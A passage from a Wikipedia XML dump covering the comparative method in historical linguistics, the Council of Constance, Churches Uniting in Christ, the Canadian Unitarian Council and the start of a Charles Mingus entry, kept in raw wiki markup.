| ''sk''
| ''hk''
| ''sk''
| ''čk''
|-
| (4)
| ''šk''
| ''šk''
| ''sk''
| ''sk''
|-
| (5)
| ''sk''
| ''šk''
| ''hk''
| ''hk''
|}

Although all 5 correspondence sets overlap with one another in various places, they are not in complementary distribution, and so Bloomfield recognized that a different cluster must be reconstructed for each set (his reconstructions were, respectively, ''*hk'', ''*xk'', ''*čk'', ''*šk'', and ''çk'' (the modern reconstructions for these clusters are ''*hk'', ''*tk'', ''čk'', ''šk'', and ''rk'', respectively, and two more clusters, reconstructed as ''{{IPA|*ʔk}}'' and ''{{IPA|ɬk}}'', are recognized).

===4. Reconstruct proto-phonemes===

This step tends to be much more subjective than the previous ones. A linguist here has to rely mostly on their general intuitions about what types of sound changes are likely and which are unlikely. For example, the voicing of voiceless plosives between vowels is an extremely common sound change, occurring in languages all over the world, which the devoicing of voiced plosives between vowels is extremely uncommon. Therefore, if a linguist were comparing two languages with a correspondence of ''-t-'' : ''-d-'' between vowels, they would reconstruct the proto-phoneme as being ''*-t-'', and assume that it became voiced to ''-d-'' in the second language (unless they had a very good reason not to). 

It is important to keep in mind, however, that there are sometimes changes that are extremely unexpected. The Proto-Indo-European word for &quot;two,&quot; for example, is reconstructed as ''*duwō'', which is reflected in [[Armenian language|Classical Armenian]] as ''erku''. Several other cognates demonstrate that the change ''*d-'' → ''erk-'' in the history of Armenian was a regular one. Similarly, in Bearlake, a dialect of the [[Athabaskan languages|Athabaskan language]] of [[Slavey language|Slavey]], there has been a sound change of Proto-Athabaskan ''*ts'' → Bearlake ''{{IPA|kʷ}}''.  Obviously, ''*d-'' did not change directly into ''erk-'' and ''*ts'' did not change directly into ''{{IPA|kʷ}}'', but they instead must have gone through several intermediate steps to arrive at the later forms. The lesson here is that with enough sound changes, a given sound can change into just about any other sound. This is why it is not '''phonetic similarity''' which matters when utilizing the comparative method, but '''regular sound correspondences'''.

Another assumption used in determining a proto-phoneme is that our reconstruction should ideally involve as few sound changes as possible to arrive at the modern reflexes in the daughter languages. In other words, unless there is persuasive evidence to the contrary, we should reconstruct for a proto-phoneme whatever value is the most common reflex in the daughter languages. For example, in the [[Algonquian languages]], we find the following correspondence set:

{| class=&quot;wikitable&quot;
! [[Ojibwe language|Ojibwe]]
! [[Mi'kmaq language|Mi'kmaq]]
! [[Cree language|Cree]]
! [[Lenape language|Munsee]]
! [[Blackfoot language|Blackfoot]]
! [[Arapaho language|Arapaho]]
|-
| ''m''
| ''m''
| ''m''
| ''m''
| ''m''
| ''b''
|}

Obviously, we should reconstruct either ''*m'' or ''*b'' for this set. Both ''*m'' → ''b'' and ''*b'' → ''m'' (where &quot;*A → B&quot; means &quot;*A becomes B&quot;) are concievable sound changes, so the principle of reconstructing &quot;likely&quot; changes over &quot;unlikely&quot; ones is not useful here. Instead, linguists note that the reflex of this proto-phoneme is ''m'' in five of the languages compared here, and ''b'' in one of them. If we reconstruct ''*b'', we need to assume five separate changes of ''*b'' → ''m'', whereas if we reconstruct ''*m'', we only need to assume a single change of ''*m'' → ''b'' in one language in the family. Since we are working on the assumption that our reconstructions should require the fewest number of changes possible to arrive at the modern reflexes, we would obviously reconstruct ''*m'' here.

===5. Examine the reconstructed system typologically===

In the final step, the linguist takes all the proto-phonemes they have reconstructed using steps 1-4, and checks to see how the system fits with what is currently known about [[linguistic typology|typological constraints]]. For example, if the reconstructed phonemes fit together in the following system, the linguist would be suspicious, because languages generally (though not always) tend to maintain symmetry in their phonemic inventories:

{| class=&quot;wikitable&quot;
! &amp;nbsp; p &amp;nbsp;
! &amp;nbsp; t &amp;nbsp;
! &amp;nbsp; k &amp;nbsp;
|-
! &amp;nbsp; b &amp;nbsp;
!
! 
|-
!
! &amp;nbsp; n &amp;nbsp;
! &amp;nbsp; ŋ &amp;nbsp;
|-
!
! &amp;nbsp; l &amp;nbsp;
!
|}

In this reconstructed system, there is only one voiced plosive, ''*b'', and although there is an [[apical]] and velar [[nasal]], ''*n'' and ''*ŋ'', there is no corresponding [[labial]] nasal. In this case, we would have to return to step 4 and reevaluate our earlier conclusions. In this case, we would try to figure out if there is any evidence to suggest that what we earlier reconstructed as ''*b'' is actually ''*m'', or evidence that what we earlier reconstructed as ''*n'' and ''*ŋ'' are actually ''*d'' and ''*g''.

Even a symmetrical system can be typologically suspicious. For example, the [[Proto-Indo-European language|Proto-Indo-European]] plosive inventory, as traditionally reconstructed, is as follows:

{| class=&quot;wikitable&quot;
!
![[Labial]]s
![[Apical]]s
![[Velar]]s
![[Labiovelar]]s
|-
![[Voiceless consonant|Voiceless]]
| align=center|p
| align=center|t
| align=center|k
| align=center|{{IPA|kʷ}}
|-
![[Voiced consonant|Voiced]]
| align=center|(b)
| align=center|d
| align=center|g
| align=center|{{IPA|gʷ}}
|-
![[Voiced consonant|Voiced]] [[Aspiration (phonetics)|aspirated]]
| align=center|{{IPA|bʱ}}
| align=center|{{IPA|dʱ}}
| align=center|{{IPA|gʱ}}
| align=center|{{IPA|gʷʱ}}
|}

Lately, however, a number of linguists have argued that this system is, at best, very suspicious typologically. It extremely unlikely, or maybe even impossible, they say, for a language to have a voiced aspirated ([[breathy voice]]) series without a corresponding voiceless aspirated series. These linguists therefore argue, on typological grounds, that we need to reevaluate the traditional reconstruction of Proto-Indo-European. A potential solution was provided by [[Thomas Gamkrelidze]] and [[Vyacheslav V. Ivanov]], who argued that the series traditionally reconstructed as plain voiced should in fact be reconstructed as [[Glottalization|glottalized]] — either [[implosive]] {{IPA|(ɓ, ɗ, ɠ)}} or [[ejective]] {{IPA|(pʹ, tʹ, kʹ)}}. The plain voiceless and voiced aspirated series would thus be seen as just voiceless and voiced, with aspiration being a non-distinctive quality of both. This has become known as the [[Glottalic theory|Glottalic Theory]], and although it has not yet become accepted, it does have a large number of proponents, and is an excellent example of the application of linguistic typology to linguistic reconstruction

The reconstruction of proto-sounds and their historical transformations enables us to proceed further: we can compare grammatical morphemes (word-forming affixes and inflectional endings), patterns of declension and conjugation, and so on. The full reconstruction of an unrecorded protolanguage can never be complete (for example, proto-[[syntax]]  is far more elusive than [[phonology]] or [[Morphology (linguistics)|morphology]], and all elements of linguistic structure undergo inevitable erosion and gradual loss or replacement over time), but a consistent partial reconstruction can and must be attempted as proof of genetic relationship.

==Weaknesses of the comparative method==

While most historical linguists continue to use the comparative method, many of them now also recognize quite a few serious weaknesses in the method. In recent years, alternatives to the comparative method have been proposed (see [[Mass lexical comparison]]), in part due to percieved problems inherent to the method.

===The Neogrammarian Hypothesis===
The first weakness of the comparative method is the fundamental Neogrammarians' assumption that &quot;sound laws have no exceptions&quot;.  This assumption is problematic even on theoretical grounds: the very fact that different languages evolved according to different sound-change laws seems to indicate a degree of arbitrariness in language evolution.  Moreover, once one accepts that sound changes may be conditioned by context according to rather complicated rules, one opens the door for &quot;laws&quot; that may affect only a few words, or even a single word; which is logically equivalent to admitting exceptions to the broader laws. This problem has led some critics to a radically opposite position, summarized by the maxim &quot;each word has its own history.&quot;

====Borrowings and random mutations====
Even the Neogrammarians recognized that, apart from the general sound change laws, languages are also subject to borrowings from other languages and other ''sporadic changes'' (such as irregular inflections, compounding, and abbreviation) that affect one word at a time, or small subsets of words.

While borrowed words should be excluded from the analysis, on the grounds that they are not ''genetic'' by defintion, they do add noise to the data, and thus may hide systematic laws or distort their analysis.  Moreover, there is the danger of circular reasoning — namely, of assuming that a word has been borrowed solely because it does not fit the current assumptions about the regular sound laws.

The other exceptions to the sound laws are a more serious problem, because they occur in generic language transmission.  One example of such a sporadic change, with no apparent logical reason, is the [[Spanish language|Spanish]] word for &quot;word,&quot; ''palabra''. By regular sound changes from Latin, it should have become ''parabola'', but the ''r'' and ''l'' changed places by sporadic [[Metathesis (linguistics)|metathesis]]).

In principle, As those sporadic changes accumulate, they will increasingly obscure the systematic sound laws, and eventually prevent the recognition of the genetic relationship between languages, or lead to incorrect reconstructions of proto-languages and incorrect family trees.

====Analogy====
A source of sporadic changes that was recognized by the  Neogrammarians themselves was [[analogy (linguistsics)|analogy]], in which a word is sporadically changed to be closer to another word in the lexicon which is perceived as being somehow related to it. For example, the [[Russian language|Russian]] word for &quot;nine,&quot; by regular sound changes from [[Proto-Slavic language|Proto-Slavic]], should have been {{IPA|/nʲevʲatʲ/}}, but is actually {{IPA|/dʲevʲatʲ/}}.  It is believed that the initial ''{{IPA|nʲ-}}'' changed to ''{{IPA|dʲ-}}'' due to influence of the word for &quot;ten&quot; in Russian, {{IPA|/dʲesʲatʲ/}}.

====Gradual application====
More recently, [[William Labov]] and other linguists who have studied contemporary language changes in detail have discovered that even a systematic sound change is at first applied in an unsystematic fashion, with the percentage of its occurrence in a person's speech dependent on various social factors.  Often the sound change begins to affect some words in a language, and then gradually spreads to others. These observations considerably weaken the Neogrammarians axiom that &quot;sound laws have no exceptions.&quot;

===Problems with the tree model===
Another weakness of the comparative method is its reliance on the so-called &quot;Tree Model&quot; (German ''Stammbaum''). In this model, daughter languages are seen as branching out from the proto-language, gradually growing more and more distant from the proto-language through accumulated phonological, morpho-syntactical, and lexical changes; and possibly splitting into further daughter languages. This model is usually representd by upside-down tree-like diagrams. For example, here is a diagram of the [[Uto-Aztecan languages|Uto-Aztecan]] family of languages, spoken throughout the southern and western [[United States]] and [[Mexico]]:

[[Image:Uto-Aztecan Family Tree.jpg|none|720px|center]]

(Families are in '''bold''', individual languages in ''italics''. Not all of the branches and languages are shown, for lack of space.)

====The Wave Model====
Unfortunately, the tree model does not reflect the reality of how languages change. Since languages change gradually, there are long periods in which different dialects of a language, as they evolve into separate languages, remain in contact with one another and influence each other. Even once they are completely separated, languages which are near to one another will continue to influence each other, often sharing grammatical, phonological, and lexical innovations. A change in one language of a family will often spread to neighboring languages; and multiple waves of change may partially overlap like waves on the surface of a pond, across language and dialect boundaries, each with its own randomly delimited range (Fox 1995:129) The following diagram illustrates this conception of language change, called the ''Wave Model'':

[[Image:Wave_Model_Schmidt.jpeg|none|300px|center]]

This is a serious challenge to the comparative method, which is entirely based on the assumption that each language has a single &quot;genetic&quot; parent, and hence that the genetic relationship between two languages is due to their descent from a common ancestor.

===Non-uniformity of the proto-language===
Another assumption implicit in the methodology of the comparative method is that the proto-language is uniform. However, even in extremely small language communities there are always [[Dialect|dialect differences]], whether based on area, gender, class, or other factors (the Pirahã language of Brazil is spoken by only several hundred people, but has at least two different dialects, one spoken by men and one by women, for example). Therefore, the single proto-language reconstructed by the comparative method is, in all likelihood, a language which never existed.

===Creoles===
Another potential problem for the comparative method is the phenomenon of [[creole language]] formation, where essentially a new language is formed from a complicated combination of two languages that are not closely related. The [[papiamentu]] language, spoken in the [[Caribbean]], is a notable example.  In these events, the new language may end up with a lexicon and phonology which is derived from both parent languages, in varying proportions; while the grammar (morphology and syntax) is partly inherited, and partly the result of local innovation.  Often function words from one of the parent languages are inherited, but used for a completely different function in the creole.  

Creole formation seems to be a fairly common phenomenon. Dozens of such events have been documented in the last 500 years, in the wake of European colonial expansion, and many more must have happened along the fringes of past empires.  While the comparative method may be able to detect the existence of a genetic relation between the creole and the parent languages (or between two creoles with shared parents), the reconstructed &quot;proto-language&quot; is likely to be a thoroughy artificial construct.

===Subjectivity of the reconstruction===
While the identification of systematic sound correspondences between known languages is failry objective, the reconstruction of their common ancestral language is inherently subjective.  In the proto-Algonquian example above, the choice of ''m'' as the parent phoneme is only ''likely'', not ''certain''. It is quite possible that a proto-Algonquian language with ''b'' in those locations split into two branches, one which preserved ''b'' and one with ''m'' instead; and while the first originated only the Arapaho, the second spread out wider and  originated all the other Algonquian tribes.  (Such dramatic asymmetries in the growth of different branches of the same tree are actually common; contrast for example the Romance and Celtic branches of Indo-European.) It is also possible that the nearest common ancestor of the Algonquian languages used some other sound intead, such as ''p'', which eventually mutated to ''b'' in one branch and to ''m'' in the other.  

Since the reconstruction of a proto-language involves many of these choices, the probability of making a wrong choice is very high.  That is, any reconstructed proto-language is ''almost certainly'' incorrect; it is an artificial construct that is accepted by convention, not by rigorous proof.  These hidden errors take their toll when two reconstructed proto-languages are compared in order to build large family trees.

===Assessment===
In view of these weaknesses, we must be wary of the reconstructions and trees obtained with the comparative method. Most linguists, however, continue to use it, although they now recognize its flaws. Fox (1997:141-2), for example, concludes: 

&lt;blockquote&gt;&quot;The Comparative Method ''as such'' is not, in fact, historical; it provides evidence of linguistic relationships to which we may give a historical interpretation. ...The interpretative processes must therefore weight up the evidence provided by the Comparative Method in conscious knowledge of these weaknesses, and in the light of other relevant considerations, if they are to give historical validity to the reults. ...Our interpretation of the findings of the method have doubtless changed as more has been learnt of the historical processes involved, and this has probably made historical linguists less prone to equate the idealizations required by the method with historical reality. ...Provided we keep [the interpretation of the results and the method itself] apart, the Comparative Method can continue to be used in the reconstruction of earlier stages of languages.&quot;&lt;/blockquote&gt;

==See also==

*[[historical linguistics]]
*[[Lexicostatistics]]
*[[August Schleicher]]
*[[Morris Swadesh]]
*[[Joseph Greenberg]]

==References==

*Campbell, Lyle (1997). ''American Indian Languages: The Historical Linguistics of Native America''. New York: Oxford University Press.
*———— (2004). ''Historical Linguistics: An Introduction'' (2nd ed.). Cambridge: The MIT Press.
*Comrie, Bernard (ed.) (1990). ''The World's Major Languages''. New York: Oxford University Press.
*Crowley, Terry (1992). ''An Introduction to Historical Linguistics'' (2nd ed.). Aukland: Oxford University Press.
*Fox, Anthony (1995). ''Linguistic Reconstruction: An Introduction to Theory and Method''. New York: Oxford University Press.
*Pederson, Holger (1962). ''The Discovery of Language''. Bloomington: Indiana University Press.
*Trask, R. L. (1996). ''Historical Linguistics''. New York: Oxford University Press.

==External links==

*[http://www.utexas.edu/depts/classics/documents/PIE.html Comparative method applied on Proto-Indo-european]


[[Category:Historical linguistics]]

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    <title>Council of Constance</title>
    <id>7661</id>
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      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;400&quot;
|-
| colspan=&quot;2&quot; bgcolor=&quot;lightgreen&quot; style=&quot;font-size:120%&quot; align=&quot;center&quot;|'''''Council of Constance'''''
|-
|Date
|[[1414]]-[[1418]]
|-
|Accepted by
|[[Catholicism]]
|-
|Previous Council||[[Council of Vienne]]
|-
|Next Council
|[[Council of Basel|Council of Basel-Ferrara-Florence]] (the [[Council of Siena]] is generally not considered ecumenical by Catholics)
|-
|Convoked by||[[Schismatic Pope John XXIII ]], confirmed by [[Pope Gregory XII]]
|-
|Presided by||[[Sigismund, Holy Roman Emperor]]
|-
|Attendance||600
|-
|Topics of discussion||[[Western Schism]]
|-
|Documents and statements||[[Schismatic Pope John XXIII ]] deposed, [[Papal abdication|resignation]] of [[Pope Gregory XII]] accepted, [[Avignon Pope Benedict XIII]] deposed, condemnation of [[Jan Hus]], election of [[Pope Martin V]]
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Ecumenical council|chronological list of Ecumenical councils]]
|}
[[Image:Richental Konzilssitzung Muenster.jpg|thumb|Bishops debating with the pope at the Council of Constance]]
[[Image:Jan Hus-Council of Constance.jpg|thumb|Painting of [[Jan Hus]] in Council of Constance by [[Václav Brožík]]]]
The  '''Council of Constance''' was an [[ecumenical council]] of the [[Roman Catholic Church]], called by the [[Sigismund, Holy Roman Emperor|Emperor Sigismund]], a supporter of [[Antipope John XXIII|Antipope John XXIII]], the pope recently elected at Pisa. The council was held from [[November 16]], [[1414]] to [[April 22]], [[1418]] in [[Konstanz|Constance]].  Its main purpose was to end the [[Western schism|Papal schism]] which had resulted from the [[Avignon Papacy]], or as it is sometimes known, the &quot;[[Babylonian Captivity of the Church]].&quot;  The Council of Constance marked the high point of the [[Conciliarism|Conciliar movement]] to reform the Church.  The Catholic Church, however, only regard as valid and ecumenical those sessions of the Council that were held after the confirmation of the Council by true Pope Gregory XII. 


The previous sessions, held under the authority of Emperor Sigismund and anti-pope &quot;John XXIII&quot; are not considered valid, and its decrees (including the famous decree Haec Sancta, on Conciliarism), are regarded by the Catholic Church as null and void, since, according to catholic doctrine, an Ecumenical Council is only valid when convened or at least accepted by the Pope, and its decrees are only binding if approved or confirmed by the Roman Pontiff.

At the time the council was called, there were three [[pope|popes]], all of whom claimed legitimacy.  A few years earlier, in one of the first blows of the  Conciliar movement, the bishops at the [[Council of Pisa]] had deposed both of the two claimant popes and elected a third pope, claiming that in such a situation, a council of bishops had greater authority than just one bishop, even if he be the bishop of Rome.  This had only furthered the schism.

An innovation at the Council was that instead of voting as individuals, the bishops voted in [[nation]]al blocs, explicitly confirming the national pressures that had fueled the schism since 1378.

The famous ''Haec sancta'' decree contradicting [[Vatican I]] on papal primacy/infallibility was promulgated in the sixth session, [[April 6]], [[1415]]. Its declaration that
:''legitimately assembled in the holy Spirit, constituting a general council and representing the catholic church militant, it has power immediately from Christ; and that everyone of whatever state or dignity, even papal, is bound to obey it in those matters which pertain to the faith, the eradication of the said schism and the general reform of the said church of God in head and members.''
marks the high water mark of the Conciliar movement of reform  [http://www.piar.hu/councils/ecum16.htm]. This decree, however, is not considered valid by the Catholic Church, since it was never approved by the true Pope, Gregory XII, and was passed by the Council in a session that was held before the summons of the Pope. (The first sessions of the Council of Constance were an invalid and illicit assembly of Bishops, gathered under the authority of Emperor Sigismund and anti-pope &quot;John XXIII&quot;. Only later was the same Bishops summoned by the true Pope, Gregory XII, to assemble, in the same place, as an Ecumenical Council, under the presidency of the Papal legates sent by Pope Gregory. Only the sessions held after that summons are regarded by the Catholic Church as part of the true Council of Constance.

Thus, what historians describe as &quot;the Council of Constance&quot; were, in fact, two different assemblies in the eyes of the Catholic Church and its canon law. The first part is regarded as an illicit assembly, incapable of issuing any valid decree. The second part is regarded as a true Ecumenical Council. The Bishops that were already assembled in Constance accepted to be re-summoned by the authority of Gregory XII since it was known that Gregory XII was willing to resign, so as to allow the election of another Pope, that could be accepted by the whole of Christiandom. 

With the support of the [[Sigismund, Holy Roman Emperor]], enthroned before the high altar of the cathedral of Constance, the Council of Constance recommended that all three popes abdicate, and that another be chosen. In part because of the constant presence of the emperor, other rulers demanded that they have a say in who would be pope.  Much of the Council's time was therefore occupied with trying to placate secular rulers rather than in actual reform of the Church and its hierarchy. 

Gregory XII then sent representatives to Constance, duly empowered by him with full powers to summon, open and preside over an Ecumenical Council, and also empowered to present his resignation to the Papacy. This would pave the way for the end of the Western Schism. 

The legates were received by Emperor Sigismund and by the assembled Bishops, and the Emperor yielded the presidency of the proceedings to the papal legates, Cardinal Dominici of Ragusa and Prince Charles of Malatesa. On 4 July, 1415 the Bull of Gregory XII which appointed Malatesta and Cardinal Dominici of Ragusa as his proxies at the council was formally read before the assembled Bishops. The cardinal then read a decree of Gregory XII which convoked the council and authorized its succeeding acts. Thereupon, the Bishops voted to accept the summons. Prince Malatesa immediately informed the Council that he was empowered by a commission from Pope Gregory XII to resign the Papal Throne on the Pontiff's behalf. He asked the Council whether they would prefer to receive the abdication at that point or at a later date. The Bishops voted to receive the Papal abdication immediately. Hereupon the commission by Gregory XII authorizing his proxy to resign the Papacy on his behalf was read and Malatesta, acting in the name of Gregory XII, pronounced the resignation of the papacy by Gregory XII and handed a written copy of the resignation to the assembly.

Former Pope Gregory XII was then created Cardinal Bishop of Porto by the Council, with rank immediately below the Pope (which made him the highest ranking person in the Church, since, due to his abdication, the See of Peter was vacant). Gregory XII´s cardinals were accepted as true cardinals by the Council, but the members of the council delayed electing a new pope for fear that a new pope would restrict further discussion of pressing issues in the Church. 

By the time the anti-popes were all deposed and the new Pope, Martin V, was elected, two years had passed since Gregory XII´s abdication, and Gregory was already dead.

A second goal of the council was to continue the reforms begun at the Council of Pisa.  These reforms were largely directed against [[John Wyclif]], mentioned in the opening session, and condemned in the eighth, [[May 4]], [[1415]] and [[Jan Hus]],  and their followers. [[Jan Hus]], summoned to Constance under a letter of indemnity, was condemned by council and [[burned at the stake]] notwithstanding on [[July 6]], [[1415]].

The council also attempted to direct ecclesiastical reforms. However, once two anti-popes, [[Baldassare Cossa]] (John XXIII), who fled from Constance on March 20, 1415, and [[Antipope Benedict XIII|Peter de Luna]] (Benedict XIII) had been eliminated, the successor to [[Urban VI]] was induced to resign, with great care to protect the legitimacy of the succession, ratifying all his acts, a new pontiff was chosen. The new pope, [[Pope Martin V|Martin V]], elected November 1417, soon asserted the absolute authority of the papal office, and the claim that a council might be superior to a single pope was set aside when it was later declared that a council of Bishops has no greater authority than the Pope.

During the council there were also political topics discussed, such as the accusation by the [[Teutonic Knights]] that [[Poland]] was defending [[Paganism|pagans]]. [[Pawel Wlodkowic]], [[rector]] of the [[Jagiellonian University]] in [[Kraków]], [[Poland]], presented there the theory that all nations, including pagan ones, have the right to self-govern and to live in peace and possess their land, which is one of the earliest ideas of [[international law]]. The creation of a book on how to die was ordered by the council, and thus written in 1415 called ''[[Ars moriendi]]''.

The upshot was that reforms were stymied by sheer inertia of the establishment, conflicting national interests and the full assertion of [[papal supremacy]] once more. The acts of the Council were not made public until 1442, at the behest of the [[Council of Basel]]; they were printed in 1500.

==Sources==
*Cantor, Norman F. 1993. ''Civilization of the Middle Ages'' pp 498ff.
*[http://www.piar.hu/councils/ecum16.htm Tanner, Norman P., editor, ''Decrees of the Ecumenical Councils'']: ''Council of Constance 1414-18'', excerpts of the sessions (in English)

==External links==
*[http://www.newadvent.org/cathen/04288a.htm Catholic Encyclopedia: Council of Constance]


[[Category:Roman Catholic Church Councils|Constance]]
[[Category:1410s]]
[[Category:Western Schism]]

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    <title>Churches Uniting in Christ</title>
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      <comment>communion --&gt; Eucharist. Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''Churches Uniting in Christ''' (CUIC) brings together nine [[mainline]] [[United States|American]] [[religious denomination|denominations]] (including both predominantly [[whites|white]] and predominantly [[African American|black]] churches), and was inaugurated on [[January 20]], [[2002]].

CUIC is the successor organization to the '''Consultation on Church Union''' (COCU) founded in [[1962]]. The original task of COCU was to negotiate a [[merger]] between its ten member denominations; however, the membership of the denominations overwhelmingly rejected a merger when it was proposed in [[1969]]. With the failure of the merger proposal, COCU then turned to negotiating &quot;[[intercommunion]]&quot;, whereby each member church would retain its own autonomy and identity, while recognizing the validity of the rites and [[religious minister|ministry]] of the others and accepting them as true churches. In [[1991]] it was proposed that this was to be done on the historic model of [[bishop]], [[presbyter]] and [[deacon]]. However, the [[Presbyterian Church USA]] was unwilling to implement some of the changes to its internal rules that this model would require, and the [[Episcopal|Episcopal Church]] did not feel able to participate at the time. It was then proposed that intercommunion be established without a resolution of the ministry issue, which would be resolved by [[2007]] by means of intensive dialog between the churches. This modified proposal was then accepted by the member churches.

CUIC is not a merger, but rather an intercommunion agreement whereby each member recognizes the others as part of the true church, and recognizes its rites ([[baptism]], [[Eucharist|communion]]) as valid. The original proposal for CUIC also had a full recognition of each other's ministers, but the Episcopal Church's insistence on the historic episcopate, which conflicts with the method of administration in some other member churches (especially in the [[Presbyterian Church USA]]), has meant that this part of the CUIC proposal has been put on hold. CUIC will however hold negotiations once it is established, possibly leading to a full recognition of each other's ministers within the next few years.

===Full members===
*[[African Methodist Episcopal Church]]
*[[African Methodist Episcopal Zion Church]]
*[[Disciples of Christ|Christian Church (Disciples of Christ)]]
*[[Christian Methodist Episcopal Church]]
*[[Episcopal Church in the United States of America]]
*[[International Council of Community Churches]]
*[[Presbyterian Church USA|Presbyterian Church (USA)]]
*[[United Church of Christ]]
*[[United Methodist Church]]

===Partners in mission and dialogue===
*[[Evangelical Lutheran Church in America]] 
*[[Moravians (religion)|Moravian Church Northern Province]]

==See also==
*[[Christian ecumenism]]

==External links==
* [http://www.cuicinfo.org/ Churches Uniting in Christ homepage]

[[Category:Christian denominations of North America]]
[[Category:Christian denominations]]
[[Category:Christian group structuring]]
[[Category:United Uniting churches]]</text>
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    <title>Canadian Unitarian Council</title>
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The '''Canadian Unitarian Council''' (CUC) is the national body for [[Unitarian Universalist]]s in [[Canada]]. 

The CUC is a member of the [[International Council of Unitarians and Universalists]].

== Principles and Sources ==

The Principles and Sources
of Our Religious Faith

=== Principles ===

We, the member congregations of the Canadian Unitarian Council, covenant to affirm and promote:

* the inherent worth and dignity of every person;
* justice, equity, and compassion in human relations;
* acceptance of one another and encouragement to spiritual growth in our congregations;
* a free and responsible search for truth and meaning;
* the right of conscience and the use of the democratic process within our congregations and in society at large;
* the goal of world community with peace, liberty, and justice for all;
* respect for the interdependent web of all existence of which we are a part.

=== Sources ===

The living tradition which we share draws from many sources:

* direct experience of that transcending mystery and wonder, affirmed in all cultures, which moves us to a renewal of the spirit and an openness to the forces which create and uphold life;
* words and deeds of prophetic women and men which challenge us to confront powers and structures of evil with justice, compassion, and the transforming power of love;
* wisdom from the world's religions which inspires us in our ethical and spiritual life;
* Jewish and Christian teachings which call us to respond to God's love by loving our neighbours as ourselves;
* Humanist teachings which counsel us to heed the guidance of reason and the results of science, and warn us against idolatries of the mind and spirit;
* spiritual teachings of Earth-centred traditions which celebrate the sacred circle of life and instruct us to live in harmony with the rhythms of nature.

Grateful for the religious pluralism which enriches and ennobles our faith, we are inspired to deepen our understanding and expand our vision. As free congregations we enter into this covenant, promising to one another our mutual trust and support.

(Reproduced here with permission)

The current [http://www.cuc.ca/who_we_are/principles/principles_sources.htm Principles and Sources] are based on the UUA's [http://www.uua.org/aboutuua/principles.html Principles and Purposes].  The CUC has created a [http://cuc.ca/sptf/ task force] to consider revising them.

== Organisation ==

The CUC is divided into 4 regions: &quot;BC&quot; (British Columbia), &quot;Western&quot; (Alberta to Thunder Bay), &quot;Central&quot; (Between Thunder Bay and Kingston), and &quot;Eastern&quot; (Kingston, Ottawa and everything east of that).

Member congregations are served by volunteer Service Consultants, Congregational Networkers, and a series of other committees.  There are two director of regional services one for the Western two regions, and one for the Eastern two regions.  The Director of Lifespan Learning oversees development of religious education programming.  The UUA provides a Regional Organising Consultant for developing Young Adult and Campus Ministry in Canada (part time).

== Founding ==

This section quoted from [http://www.cuc.ca/who_we_are/colony_to_nation.htm THE CUC: FROM COLONY TO NATION 1961-2002] by Rev. Dr. Charles W. Eddis:

The formation of the CUC  was a long-held dream.  Proposals to form a Canadian organization were made by G.C. Holland, minister of the Ottawa church, in 1898, Samuel A. Eliot, President of the American Unitarian Association in 1908, Charles Huntingdon Pennoyer, minister of the Halifax Universalist Church in 1909, and Horace Westwood, a Unitarian minister in Winnipeg in 1913.  In 1946 The Commission on the Work of the Churches of the British Unitarians recommended that &amp;ldquo;the Assembly should interest itself in the formation of a Canadian Unitarian Association which many Unitarians there believe to be necessary.&amp;rdquo;

The first native seeds were planted with the publication of The Canadian Unitarian in Ottawa from 1940 to 1946, a small newsletter distributed with the newsletters of Canadian churches.  After the Second World War, the  growth of the Unitarians in Canada began to show the strength which would make some Canadian organization feasible, if not imperative.  Unitarians, most notably  Toronto ministers, generated considerable media attention from the centre of Canada&amp;rsquo;s English language media.  The Unitarian Service Committee of Canada, founded in 1945, was receiving considerable attention both in city newspapers and on television, so much so  that the word &amp;ldquo;Unitarian&amp;rdquo;  became a household world,  though its meaning was not that widely known.  In 1946 there were six Icelandic Unitarian churches with 272 members, and five English-speaking churches with 1,049 members.  The Universalists had five churches with 459 members.  In 1961 there were three Universalist churches with 68 members, and three Icelandic and eleven English-speaking Unitarian churches with 3,476 members, and in addition 22 Unitarian fellowships with 773 members.  The Universalists almost disappeared in Canada, outside of a small rural church in southwest Ontario, and were probably saved in the other two surviving locations by influx of Canadian Unitarians.  By contrast, Unitarian membership more than tripled in the same fifteen years.  In 1953 there were six Unitarian ministers serving congregations in Canada.  Ten years later there were five ministers in the Toronto area alone.   

In early April, 1961, a meeting with delegates from ten congregations was held in Montreal.  The plan was approved 8 to 1, with the understanding that &amp;ldquo;The Council will function within the framework of the continental Unitarian Universalist Association.&amp;rdquo;

(Reproduced with permission)

== Relationship to the Unitarian Universalist Association ==

Up until July 2002, almost all member congregations of CUC were also members of the [[Unitarian Universalist Association]] (UUA). In the past, most services to CUC member congregations were provided by the UUA. However, with an agreement in 2001 between the UUA and CUC, from July 2002 onwards most services have been provided by the CUC to its own member congregations.

The UUA continues to provide services relating to ministerial settlement, youth (14-20) and young adult(18-35) programming.

== Unitarians and Universalists ==

While the name of the organisation is the '''Canadian Unitarian Council''', the CUC includes Unitarian, Universalist, Unitarian Univeralist and Universalist Unitarian congregations as its members.  Changing the name has occasionally been debated, but there have been no successful motions.  To recognise the diversity, the abbreviation is often written as U*U (and playfully read as &quot;You star, you&quot;).

See also:
*[[International Council of Unitarians and Universalists]]

==External links==
*[http://www.cuc.ca/ Official site]
*[http://www.usc-canada.org/ Unitarian Service Committee of Canada]
*[http://www.cuc.ca/who_we_are/colony_to_nation.htm From Colony to Nation]

[[Category:Religious organizations]]
[[Category:Unitarian Universalism]]</text>
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  <page>
    <title>Charles Mingus</title>
    <id>7668</id>
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      <comment>PAST TENSE</comment>
      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:Charles Mingus.jpg|right|thumb|Charles Mingus]] --&gt;
{{Infobox_band |
  band_name         = Charles Mingus |
  image             = [[Image:Charles_Mingus_15.jpg]] |
  years_active      = [[1943]]&amp;ndash;[[1979]] |
  origin            = [[Nogales, Arizona|Nogales]], [[Arizona]] |
  country           = [[United States]] |
  status            = |
  music_genre       = [[Jazz]] |
  record_label      = [[Debut Records|Debut]]&lt;br/&gt;[[Impulse! Records|Impulse!]]&lt;br/&gt;[[Candid Records|Candid]]&lt;br/&gt;[[Atlantic Records|Atlantic]]&lt;br/&gt;[[Mercury Records|Mercury]]&lt;br/&gt;[[Columbia Records|Columbia]] |
  current_members   = 
}} 
